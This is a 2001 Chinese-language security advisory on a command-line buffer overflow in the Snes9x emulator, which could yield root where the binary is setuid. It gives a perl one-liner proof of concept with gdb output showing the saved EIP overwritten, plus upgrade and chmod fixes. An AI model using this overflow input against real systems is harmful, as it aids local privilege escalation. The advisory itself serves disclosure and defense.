首页 -> 安全研究

安全研究

安全漏洞
snes9x 命令行参数缓冲区溢出漏洞

发布日期:2001-10-16
更新日期:2001-10-17

受影响系统:

Snes9x v1.37以前版本
不受影响系统:

Snes9x v1.39
描述:

snes9x 是一个任天堂的仿真器软件,它存在一个缓冲区溢出漏洞。如果提交一个超长的命令行参
数(rom名字)给snex9x, 将会触发一个缓冲区溢出漏洞。

由于在多数系统中snes9x安装时都被设置了setuid root属性,以便访问/dev/mem文件。
因此,本地攻击者可能利用这个漏洞来获取root权限。

<*来源:Niels Heinen (zilli0n@gmx.net)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0107.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Niels Heinen (zilli0n@gmx.net) 提供了下列测试代码:

如果提交一个超过4089字节长的参数给snes9x,就可能覆盖保存的EIP:

bash-2.05$ ./snes9x `perl -e 'print "A" x 85;print "B" x 4004;'`
Rate: 22050, Buffer size: 2048, 16-bit: yes, Stereo: yes, Encoded: no
Segmentation fault (core dumped)
bash-2.05$ gdb -core=snes9x.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `snes9x'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424141 in ?? ()
(gdb) info all
eax            0x0      0
ecx            0x282e3401       674116609
edx            0x1      1
ebx            0xbfbfab7c       -1077957764
esp            0xbfbfab4c       0xbfbfab4c
ebp            0xbfbfab7a       0xbfbfab7a
esi            0xbfbfcb7c       -1077949572
edi            0xbfbfbb7c       -1077953668
eip            0x42424141       0x42424141 ( == BBAA)
eflags         0x10282  66178
cs             0x1f     31
ss             0x2f     47
ds             0x2f     47
es             0x2f     47
fs             0x2f     47
gs             0x2f     47
(gdb)


建议:

临时解决办法:

如果您无法立刻升级,您可以暂时去掉snes9x的suid root属性:
# chmod a-s snes9x

厂商补丁:

厂商已经开发了新版本以解决这个问题,您可以在厂商主页下载最新版本:
http://www.snes9x.com


浏览次数:3526
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障